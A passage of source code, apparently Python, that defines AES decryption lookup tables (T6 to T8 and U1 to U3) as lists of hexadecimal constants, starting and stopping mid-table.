0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] # Transformations for decryption key expansion U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 